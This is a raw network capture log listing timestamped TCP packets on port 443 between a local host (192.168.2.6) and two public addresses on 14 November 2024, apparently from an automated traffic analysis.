Nov 14, 2024 17:24:30.134654045 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.134685040 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144386053 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.144542933 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144591093 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144634008 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.144779921 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144812107 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.144834042 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144855022 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144866943 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.144953966 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.144998074 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.145025969 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.149445057 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.149512053 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.149544001 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.150527954 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.194905043 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.195749998 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.195780039 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.196352005 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.196356058 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.328144073 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.328919888 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.329042912 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.329121113 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.329134941 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.329173088 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.329178095 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.346477032 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.346494913 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.346594095 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.346848965 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.346860886 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.422316074 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.423125982 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.423190117 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.423625946 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.423641920 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.527395964 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.528374910 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.528409958 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.528925896 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.528932095 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.616318941 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.616532087 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.616738081 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.616826057 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.616826057 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.616869926 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.616900921 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.620105982 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.620198011 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.620315075 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.620527983 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.620553017 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.759031057 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.759085894 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.759207964 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.759282112 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.759531021 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.759531021 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.759551048 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.759560108 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.763067961 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.763104916 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.763395071 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.763580084 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.763587952 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.892560005 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.901139021 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.901201963 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.901782990 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.901798964 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.930325031 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.930918932 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.930972099 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.931380987 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.931386948 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.035036087 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.035209894 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.035290956 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.038106918 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.038152933 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.038186073 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.038202047 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.041707993 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.041799068 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.041887045 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.042037964 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.042057991 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.061180115 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.061367989 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.061481953 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.061546087 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.061578035 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.061594963 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.061605930 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.064766884 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.064795017 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.064886093 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.065026045 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.065038919 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.178129911 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.178806067 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.178827047 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.179469109 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.179477930 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.309223890 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.309298038 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.309410095 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.309432983 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.309453011 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.309515953 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.317662001 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.317668915 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.317699909 CET	49796	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.317703962 CET	443	49796	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.353868961 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.353913069 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.354012966 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.358139038 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.358153105 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.409384012 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.412415028 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.412447929 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.417037964 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.417046070 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.535511017 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.536158085 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.536180019 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.536640882 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.536647081 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.672097921 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.672158957 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.672214985 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.672224045 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.672285080 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.672339916 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.789496899 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.830764055 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.830826044 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.830926895 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.830960035 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.830986023 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.831017017 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.831064939 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.843599081 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.846002102 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.877788067 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.877818108 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.877831936 CET	49798	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.877837896 CET	443	49798	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.879986048 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.879998922 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.880817890 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.880820990 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.881330967 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.881330967 CET	49797	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.881369114 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.881386995 CET	443	49797	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.885453939 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.885481119 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.885548115 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.885813951 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.885827065 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.887063026 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.887073994 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:31.894946098 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:31.894952059 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.008907080 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.008943081 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.009012938 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.009938002 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.009951115 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.015391111 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.015453100 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.015522957 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.015697956 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.015705109 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.015712976 CET	49800	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.015716076 CET	443	49800	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.020567894 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.020593882 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.020778894 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.020802975 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.020807028 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.026913881 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.027149916 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.027216911 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.027257919 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.027278900 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.027293921 CET	49799	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.027301073 CET	443	49799	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.029406071 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.029429913 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.029493093 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.029594898 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.029608965 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.103598118 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.104433060 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.104456902 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.104922056 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.104927063 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.235305071 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.235485077 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.235582113 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.235775948 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.235799074 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.235868931 CET	49801	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.235873938 CET	443	49801	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.239178896 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.239274979 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.239444017 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.239660978 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.239696980 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.656184912 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.657320023 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.657329082 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.658060074 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.658063889 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.745276928 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.745775938 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.745799065 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.746325016 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.746331930 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.755387068 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.755806923 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.755815029 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.756313086 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.756318092 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.787226915 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.787595987 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.787611008 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.788100958 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.788106918 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.789148092 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.789298058 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.789356947 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.789469957 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.789480925 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.789508104 CET	49802	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.789520025 CET	443	49802	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.792629957 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.792666912 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.792736053 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.792874098 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.792885065 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.874083042 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.874205112 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.874315977 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.874480963 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.874501944 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.874519110 CET	49803	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.874526024 CET	443	49803	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.877825022 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.877851963 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.877952099 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.878314972 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.878329039 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.886617899 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.886744022 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.886825085 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.886873960 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.886878014 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.886887074 CET	49804	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.886890888 CET	443	49804	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.889355898 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.889365911 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.889445066 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.889616013 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.889620066 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.919610023 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.920429945 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.920511007 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.920550108 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.920567989 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.920579910 CET	49805	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.920588017 CET	443	49805	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.922941923 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.922966957 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.923042059 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.923214912 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.923227072 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.995480061 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.996501923 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.996534109 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:32.997102022 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:32.997107983 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.124201059 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.124257088 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.124316931 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.124589920 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.124607086 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.124617100 CET	49806	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.124620914 CET	443	49806	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.127902985 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.127934933 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.128010988 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.128190994 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.128211021 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.537547112 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.538069963 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.538085938 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.538656950 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.538662910 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.622876883 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.623596907 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.623610973 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.624104977 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.624109983 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.627002001 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.627363920 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.627382040 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.627756119 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.627762079 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.666492939 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.666708946 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.666774988 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.666870117 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.666889906 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.666901112 CET	49807	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.666907072 CET	443	49807	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.670438051 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.670464993 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.670547009 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.670945883 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.670958996 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.751272917 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.751441956 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.751498938 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.751667023 CET	49808	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.751688957 CET	443	49808	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.759234905 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.759268999 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.759320974 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.759336948 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.759387016 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.759429932 CET	49809	443	192.168.2.6	13.107.246.45
